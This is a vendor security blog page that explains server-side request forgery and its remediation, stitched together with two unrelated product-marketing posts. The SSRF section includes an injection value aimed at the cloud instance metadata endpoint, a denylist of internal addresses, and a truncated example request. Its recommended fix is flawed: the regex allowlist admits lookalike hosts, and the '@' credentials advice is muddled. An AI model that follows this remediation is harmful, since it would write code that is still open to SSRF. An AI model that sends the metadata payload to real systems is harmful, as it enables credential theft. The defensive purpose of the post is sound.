In general, SSRF attacks are made possible by a lack of user input validation in the web application. Without strict validation, the attacker can alter parameters that control what gets executed server-side, e.g. potentially malicious commands or establishing HTTP connections to arbitrary systems. Vulnerabilities will arise when the web application is unable to identify and validate requests from trusted applications or when the web application can send requests to any external IP address or domain
A closer look
Consider a scenario where the target web application provides functionality for importing, publishing, or reading data using a URL query parameter. The user can control the source of the data accessed by changing the value of the query parameter, which modifies the web request made by the server.
Once the manipulated request is received by the server, it will attempt to read the data by making a request to the user-supplied URL. If the web application lacks sufficient validation of user supplied data (in this case the source URL), then an attacker could potentially supply a URL that returns information from services that aren’t directly exposed publicly.
In some cases, the application server is able to interact with other back-end systems that are not directly reachable by users. Such systems often have private IP addresses and are designed not to be accessed publicly. Internal back-end systems may contain sensitive functionality that can be accessed without authentication by anyone who is able to interact with the systems.
A common example of this is cloud server metadata. Cloud services like Azure and AWS provide a representational state transfer (REST) service for querying metadata about the service itself. For example, AWS provides Instance Metadata Service (IMDS), which is used for querying information about an Amazon EC2 instance. This service is not publicly accessible and can only be accessed from the EC2 instance itself, by making a local HTTP request on http://169.254.169.254/.
The reason for this is that applications can sometimes hold important configuration files and authentication keys in these metadata directories. Endpoints that expose sensitive metadata like this are prime targets for attackers who wish to exploit SSRF vulnerabilities in applications with weak input validation.
Other examples of target data include Database HTTP interfaces such as NoSQL and MongoDB, as well as Internal REST interfaces and standard files structures.
Types of SSRF
Based on how a server responds to the request, SSRF can be divided into two types.
Basic SSRF: This when data from the malicious, forced back-end request is reflected in the application front-end. A hacker would use Basic SSRF when they want to exfiltrate data from the server directly or want to access unauthorized features.
Blind SSRF: As the name describes, with this type of SSRF attack, the application is forced to make a back-end HTTP request to a malicious domain. In this type of SSRF, the attacker doesn’t get data back from the server directly. The response from the back-end request triggers an action on the target without getting reflected in the application front-end. Hackers use this type of SSRF when they want to make some changes using the victim server.
Typical attack approach
Next, we’ll look at a sample attack that an attacker may use to test for SSRF vulnerabilities that are exposed when trying to acquire metadata from an Azure instance.
Upon identifying an injection point in, for example, a post parameter sent in the body of the request, the attacker may attempt to inject the value wrapped in CDATA — i.e. http://169.254.169.254/metadata/instance/compute?api-version=2019-08-15 in our example.
That might look something like this:
POST /users/search HTTP/1.0 Content-Type: application/x-www-form-urlencoded
The injected value contains the domain that retrieves metadata about the Azure instance that the web application is served on. Assuming that the web application is vulnerable to SSRF, no input validation will be performed to reject this malicious domain, and the web application will arbitrarily make a HTTP request that should result in Azure metadata being reflected in the web response.
If the application returns a valid response, the attacker could then search the web response for the value identified by “vulnregex” above. Matches should occur for information corresponding to the Azure instance — i.e. environment name, operating system, available resources or its storage size. This is a strong indication that the forged request was successful and therefore the application is vulnerable to SSRF attacks.
Validation
The above attack can be validated by attempting to visualize the information yourself. You can do this by navigating to the location on the application where a query parameter is being passed in the URL and injecting the value:
When the forged request is submitted, you should look to see if any unexpected, sensitive information is returned in the response. In this case, since we are injecting an instance metadata domain, relevant information like operating system and storage size should be returned. If it is, this provides confirmation that the application is vulnerable to SSRF. An attacker could leverage this further to access and possibly even alter information in the metadata directory for that instance.
This example code has been created to upload images to an application and render them. However, it is vulnerable to SSRF attacks that will allow the attacker to make arbitrary requests to internal systems, such as metadata information.
The documentPreview() method is used for rendering an uploaded image file. This works by extracting a pre-signed image location URL passed via the “url=” parameter and assigns it to the variable named queryString. This variable is then passed into a storageService method which loads the image from where it is stored.
The load()method will invoke the HttpGet() function in order to retrieve the image. However, without proper input validation on the request parameter “url=”, the httpGet()method will perform arbitrary get requests on anything malicious that is input via that parameter.
Sample fixed code and remediation
The standard approach for preventing SSRF attacks can include denylist- and allowlist-based input validation for the URL.
Denylisting can include blocking hostnames like 127.0.0.1 or 169.254.169.254 so that the attacker cannot actively access internal information by injecting these parameters. This is useful when the application is required to send requests to external IP addresses or domains.
When the application is only required to send requests to trusted/identified applications, allowlist validation is available. This means the web application will only accept certain values as valid parameters. For example, you could implement embedded credentials in a URL before the hostname using the @ character so that the application can only access directories after the provided hostname.
To remediate our above example, the approach would be to implement some allowlist validation, as we only need to load images from a trusted single file storage service.
You could use regex to see if the parameter matches the trusted file storage hostname:
//Regex validation for a data having a simple format
if(Pattern.matches("http:\/\/trustedimages.com.*", queryString)){
//Continue the processing because the input data is valid
HttpGet httpGet = new HttpGet(url);
}else{
//Stop the processing and reject the request
}
After the above code is implemented, only parameters beginning with http://trustedimages.com/ will be able to be sent to the httpGet()method and will prevent attackers from accessing hostnames outside of that domain.
Fighting a new contender
Don’t let the No. 10 spot fool you — SSRF is a serious threat that more than deserves its recognition in this year’s OWASP Top 10 list. In fact, 2021 is SSRF’s first year on the OWASP list, and security pros should expect to encounter this threat more and more in the coming years. But if you’re effectively testing your applications and remediating issues quickly and correctly, you’ll be prepared to spot and resolve SSRF vulnerabilities before an attacker exploits them.
NEVER MISS A BLOG
Get the latest stories, expertise, and news about security today.
We’re excited to share that we’ve coordinated our recent .NET and .NET Core agent releases with the brand new .NET 6.0 release from Microsoft.
What is tCell?
Since the founding of tCell by Rapid7, our web application and API protection solution, we’ve prided ourselves on providing both breadth and depth of coverage. We recognize the importance of shifting left in the software development lifecycle (SDLC), and we also see the equal importance of shifting right. This is why Rapid7 approaches application security from a holistic perspective that’s inclusive of testing, monitoring, and protecting to prevent the exploitation of web applications and APIs across the SDLC.
In addition to coverage throughout the SDLC, we recognize modern applications require modern AppSec solutions to meet them where they are. This is why our solution offers flexible deployment options including our App-Server agents, Web-Server agents, proxy agents, and CDN agents. So whether you’re securing a traditional application written in Java, you’re a Windows shop, or you’re deploying applications with a Kubernetes architecture, we’ve got you covered.
Sounds great… but what’s new?
Today, Microsoft announced the release of .NET 6, a significant release with an expected lifetime of 3 years and a slew of new features. Today, tCell also announced support for .NET 6. This is in line with a promise to our customers to support modern languages and frameworks, as soon as possible.
With this new tCell release, customers leveraging .NET or .NET Core frameworks will continue to be supported with our native .NET and .NET Core agents. Additionally, we’ve added functionality for new and existing tCell customers. For those customers who are leveraging tCell’s .NET or .NET Core agents 2.2+, they will now have full visibility into their API endpoints. What’s this mean? tCell will automatically enumerate your application’s API endpoints and show you attack attempts, attack types, and any app exceptions.
This is helpful because it provides visibility into key API endpoints, what attacks were attempted, and what attacks were successful, automatically reducing the number of high alerts our customers receive. From here, customers can drill down for more context on the attack attempts and view detailed stack trace information.
So, tell me more!
In addition to the real-time monitoring and detection for your web applications and APIs, tCell provides a robust set of use cases that it helps solve when leveraging either our .NET or .NET Core agents. Here are just a few examples:
Want visibility into your dev teams’ third-party packages and their associated vulnerabilities? Check out our runtime software composition analysis (SCA) feature, which will highlight any vulnerable third party code.
Want to make sure no one gets access to your user accounts? Attackers will often use a stolen list of credentials to login to an app and mimic real user behavior. With tCell’s Account Takeover capabilities, we monitor for these auth events and can take action on blocking anyone that is deemed a threat. We can also share a list of compromised users your team can follow up on.
Want to ensure your apps only load specific content? tCell makes it seamless and easy to enable Content Security Policies to enforce what content is loaded on your site and ensure a safe and happy user experience.
… And so much more, from specific actor detection to prevention of unauthorized executions of OS commands and app-level attacks.
We’re proud of our continued investment in helping customers secure their applications and APIs. Curious to learn more? Feel free to reach out to get a demo of tCell or try it out yourself!
Most of us think of climbing the ladder as a good thing — but when the ladder in question is OWASP’s Top 10 list of application security risks, a sudden upward trajectory is cause for alarm rather than encouragement.
In the 2021 edition of the OWASP list, vulnerable and outdated components moved up 3 positions from 9th place to 6th. This change in status reflects the increasing importance of this vulnerability in modern application development — and the growing worry with which the security community views this risk. In fact, it was rated at No. 2 in the OWASP Top 10 community survey.
So, what’s behind the meteoric rise of this category in the minds of application security pros?
The challenge of visibility
The prevalence of vulnerable and outdated components — and the ease of attacks using this vector — make this an especially dangerous category. Almost all modern applications use open-source packages, and information about vulnerabilities related to these packages is widely available. Attackers who figure out what vulnerable packages you’re using can use exploits that are already available. That means you have a type of attack that is widespread and straightforward.
But while upgrading and managing vulnerable and outdated components might seem simple in theory, many organizations find that, in practice, the task is anything but easy.
To complicate matters further, modern applications are using an increasing number of third-party and open-source packages. Estimates suggest around 90% of modern applications are utilizing open-source components. With a large number of dependencies — including those often-overlooked nested dependencies — regularly scanning your source code and keeping up to date with security bulletins and remediation information is daunting.
With modern CI/CD pipelines and complex infrastructure, there’s a large gap between development and production, giving teams low visibility into what’s running on production instances. Between source code and application instances, there’s often complex machinery, multiple teams involved, and multiple points of failure. This makes it challenging for SOC analysts, incident responders, and security teams to get information they need, including:
The difference between vulnerabilities that are in production vs development
Vulnerability exposure duration
The difference between multiple application instances
Achieving clarity
Having the right tools in place to get a clearer view of this complex picture is key to understanding where there might be vulnerable components in your application build and remediating them quickly — before a vulnerability becomes a breach.
tCell by Rapid7 provides teams with an end-to-end approach that considers both development and production. After the application is deployed, the tCell server agent inspects packages at server startup and sends per-host package and version information to the tCell backend. Through a multitude of sources including Snyk Intel, NVD, and proprietary research, tCell is providing daily-updated vulnerability and remediation information, the tCell dashboard provides this information and more, including out-of-date packages and mismatched versions.
The packages dashboard shows a summary of packages and versions, filterable by vulnerabilities. This dashboard only has packages and versions that either were live at some point or are currently live on application instances. This helps filter out the noise for security teams, so they can see the real, critical issues and remediate them quickly.
Each package in the package dashboard has an overview providing vulnerability and remediation information.
As you drill further down, each package overview has information about exposure duration broken down per host.
Any application that uses open-source and third-party packages is at risk for attacks that leverage vulnerable and outdated components. In modern application development, that’s nearly all of them.
But managing the many layers of dependencies inherent in applications that use open-source components is a challenging task for security teams, and the issues only grow worse with complex infrastructure between development and production. A tool like tCell can provide security teams the clarity they need to cut through the complexity of today’s application development and production workflows, catching vulnerable components early and patching them quickly.
Check out our previous post on this year’s top threat on the OWASP list: injection.
The collective thoughts of the interwebz
By continuing to use the site, you agree to the use of cookies. more information
The cookie settings on this website are set to "allow cookies" to give you the best browsing experience possible. If you continue to use this website without changing your cookie settings or you click "Accept" below then you are consenting to this.
